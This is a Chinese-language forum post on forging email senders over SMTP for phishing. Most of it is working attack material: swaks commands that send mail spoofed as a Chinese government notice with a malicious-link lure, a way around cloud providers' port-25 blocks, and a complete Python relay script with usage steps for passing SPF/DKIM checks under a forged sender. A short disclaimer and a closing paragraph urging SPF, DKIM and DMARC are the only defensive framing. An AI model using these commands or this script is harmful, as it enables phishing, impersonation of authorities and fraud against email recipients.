找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

284

积分

0

好友

34

主题
发表于 2025-12-24 15:29:10 | 查看: 37| 回复: 0

免责声明:本文提供的程序与方法旨在用于安全研究与教学,请勿用于非法用途。使用者需自行承担全部法律责任。

网络与系统安全领域,邮件钓鱼是一种常见的攻击手段。攻击者常利用SMTP协议特性,伪造邮件发件人地址,使邮件看起来来自可信来源,从而诱导受害者点击恶意链接或执行危险操作。理解其原理是做好防御的第一步。

SMTP协议邮件伪造:命令行与Python脚本实现钓鱼攻击 - 图片 - 1
上图摘要图标示意了文章的核心:探讨邮件伪造的技术原理。

基本邮件伪造方法

利用 swaks 等命令行工具,可以直接构造SMTP协议包,伪造邮件发件人。以下是一个伪造政府通知邮件的示例:

swaks --to victim@126.com --from moe@gov.cn --h-From: '政府通知<tongzhi@gov.cn>' --h-Subject "通知:关于中小企业新政策" --h-X-Mailer gov.cn --h-Message-Id gov.cn  --ehlo gov.cn --body "请点击网址https://www.hack.com查看"

此命令将一封来自伪造地址 tongzhi@gov.cn 的钓鱼邮件发送给受害者。邮件的主题、发件人显示名均可任意设置,极具迷惑性。

绕过云服务商端口限制

在实际测试中,部分云服务器(如阿里云)可能封锁了出站的25端口(标准SMTP端口),导致无法连接某些只支持25端口的邮件服务器(如QQ邮箱的MX服务器)。

此时,可以转向支持SSL/TLS加密端口的邮件服务(如163邮箱),使用 --tls-on-connect 参数:

swaks --to target@163.com --from moe@gov.cn --h-From: '政府通知<tongzhi@gov.cn>' --h-Subject "通知" --h-X-Mailer gov.cn --h-Message-Id gov.cn --ehlo gov.cn --body "请点击恶意链接" --tls-on-connect

针对安全域名的SMTP中继伪造

上述简单伪造方法仅适用于未部署SPF、DKIM、DMARC等邮件安全协议的域名。对于开启了严格验证的知名域名(如 @gov.cn@company.com),则需要利用SMTP中继协议进行更复杂的伪造。

其核心是控制一个同时满足以下条件的邮件服务器:

  1. 支持邮件转发(Relay)。
  2. 已正确配置SPF记录。
  3. 已部署DKIM签名。

攻击者通过该受信任的服务器作为中继,发送精心构造的邮件,从而绕过接收方的安全检查。

下面是一个用于演示此过程的Python脚本 smtp-relay.py

#!/usr/bin/python
"""
SMTP Relay 客户端 - 用于邮件伪造安全研究
该脚本需要一个满足SPF、DKIM的邮件服务器作为中继。
"""
import telnetlib
import time
import logging
import base64
import argparse

logging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)

class SMTPClient():
    def __init__(self,):
        self.mail_from = ''
        self.mail_to = []
        self.send_data = ''
        self.mail_header = ''
        self.tn = telnetlib.Telnet()
    def set_mail_header(self,mail_subject,mail_relay,mail_relay_name):
        now_date = time.strftime("%a, %d %b %Y %H:%M:%S +0800 (CST)", time.localtime())
        self.mail_header = "Date: {}\r\nFrom: =?UTF-8?B?{}?= <{}>\r\nTo: {}\r\nSubject: =?UTF-8?B?{}?=\r\n".format(now_date,
            base64.b64encode(mail_relay_name.encode()).decode(),
            mail_relay,
            self.mail_to[0],base64.b64encode(mail_subject.encode()).decode())

    def set_mail(self,mail_from,mail_to,send_body):
        self.mail_from = mail_from
        self.mail_to = mail_to
        with open(send_body, "rb") as f_body:
            self.send_data = f_body.read()
        f_body.close()
    def send_ehlo(self, content):
        self.tn.write(content.encode())

    def send_mail(self):
        mail_from = "MAIL FROM:<%s>" % self.mail_from
        logging.info(mail_from)
        self.tn.write(mail_from.encode() + b'\r\n')
        self.tn.read_until(b"250 Mail Ok\r\n",timeout=3)
        logging.info("250 Mail Ok")

        for mail in self.mail_to:
            mail_rpct = "RCPT TO:<%s>" % mail
            self.tn.write(mail_rpct.encode() + b'\r\n')
            self.tn.read_until(b"250 Rcpt Ok\r\n",timeout=3)
            logging.info(mail_rpct)

        self.tn.write(b'DATA\n')
        self.tn.read_until(b"354 End data with <CR><LF>.<CR><LF>\r\n",timeout=3)
        send_all = self.mail_header.encode()+self.send_data+b"\r\n.\r\n"
        self.tn.write(send_all)
        self.tn.read_until(b"250 Data Ok: queued as freedom\r\n",timeout=3)
        logging.info("250 Data Ok")
    def login_host(self,host_ip,username,password):
        try:
            self.tn.open(host_ip,port=25)
        except:
            logging.warning('%s Connect Error..'%host_ip)
            return False
        self.send_ehlo("EHLO virtual-machine\r\n")
        self.tn.read_until(b"250-smtp.aliyun-inc.com\r\n",timeout=3)
        self.tn.read_until(b"250-STARTTLS\r\n",timeout=3)
        self.tn.read_until(b"250-8BITMIME\r\n",timeout=3)
        self.tn.read_until(b"250-AUTH=PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
        self.tn.read_until(b"250-AUTH PLAIN LOGIN XALIOAUTH\r\n",timeout=3)
        self.tn.read_until(b"250-PIPELINING\r\n",timeout=3)
        self.tn.read_until(b"250 DSN\r\n",timeout=3)
        self.tn.write(b"AUTH LOGIN\r\n")
        self.tn.read_until(b"334 dXNlcm5hbWU6\r\n",timeout=3)
        self.tn.write(base64.b64encode(username.encode()) + b'\r\n')
        self.tn.read_until(b"334 UGFzc3dvcmQ6\r\n",timeout=3)
        self.tn.write(base64.b64encode(password.encode()) + b'\r\n')
        self.tn.read_until(b"235 Authentication successful\r\n",timeout=3)
        logging.info("235 Authentication successful")
        return True

    def logout_host(self):
        self.tn.write(b"QUIT\r\n")
        self.tn.read_until(b"221 Bye\r\n",timeout=3)
        self.tn.close()
        logging.info("QUIT")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.description = "AMAIL SMTP Relay Client - Version 1.0"
    parser.add_argument("-f","--mail_from",type=str,help="Mail From",required = True)
    parser.add_argument("-t","--mail_to",type=str,help="Mail To",required = True)
    parser.add_argument("-u","--username",type=str,help="SMTP Username",required = True)
    parser.add_argument("-p","--password",type=str,help="SMTP Password",required = True)
    parser.add_argument("-s","--server",type=str,help="SMTP Server", default="smtp.mxhichina.com")
    parser.add_argument("-b","--body",type=str,help="Mail Body", required = True)
    parser.add_argument("-r","--relay",type=str,help="Mail Relay To", required = True)
    parser.add_argument("--relay_name",type=str,help="Mail Relay To Name", required = True)
    parser.add_argument("--subject",type=str,help="Mail Subject", required = True)
    args = parser.parse_args()

    smtp_client = SMTPClient()

    if smtp_client.login_host(args.server,args.username,args.password):
        smtp_client.set_mail(args.mail_from,args.mail_to.split(","),args.body)
        smtp_client.set_mail_header(args.subject,args.relay,args.relay_name)
        smtp_client.send_mail()
        smtp_client.logout_host()

脚本使用说明:

  1. 准备邮件正文:需要一个去除了邮件头(Header)的 .eml 文件作为邮件正文(-b 参数)。
  2. 执行命令:脚本会自动构建包含伪造发件人信息的邮件头,并通过认证的中继服务器发送。
    python smtp-relay.py -f <真实发送邮箱> -t <目标邮箱> -u <邮箱用户名> -p <密码> -r <伪造的发件人地址> --relay_name <伪造的发件人名称> --subject <邮件主题> -b <邮件正文.eml>

通过以上分析可知,仅凭发件人地址判断邮件真伪是不可靠的。企业及个人应积极部署并验证SPF、DKIM、DMARC等邮件安全协议,同时提高对钓鱼邮件的警惕性。

SMTP协议邮件伪造:命令行与Python脚本实现钓鱼攻击 - 图片 - 2




上一篇:LeetCode 685题解:有向图中冗余边的识别与删除
下一篇:设备代码钓鱼攻击手法分析:黑客如何滥用OAuth劫持微软365账户
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-12 06:38 , Processed in 0.271290 second(s), 39 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表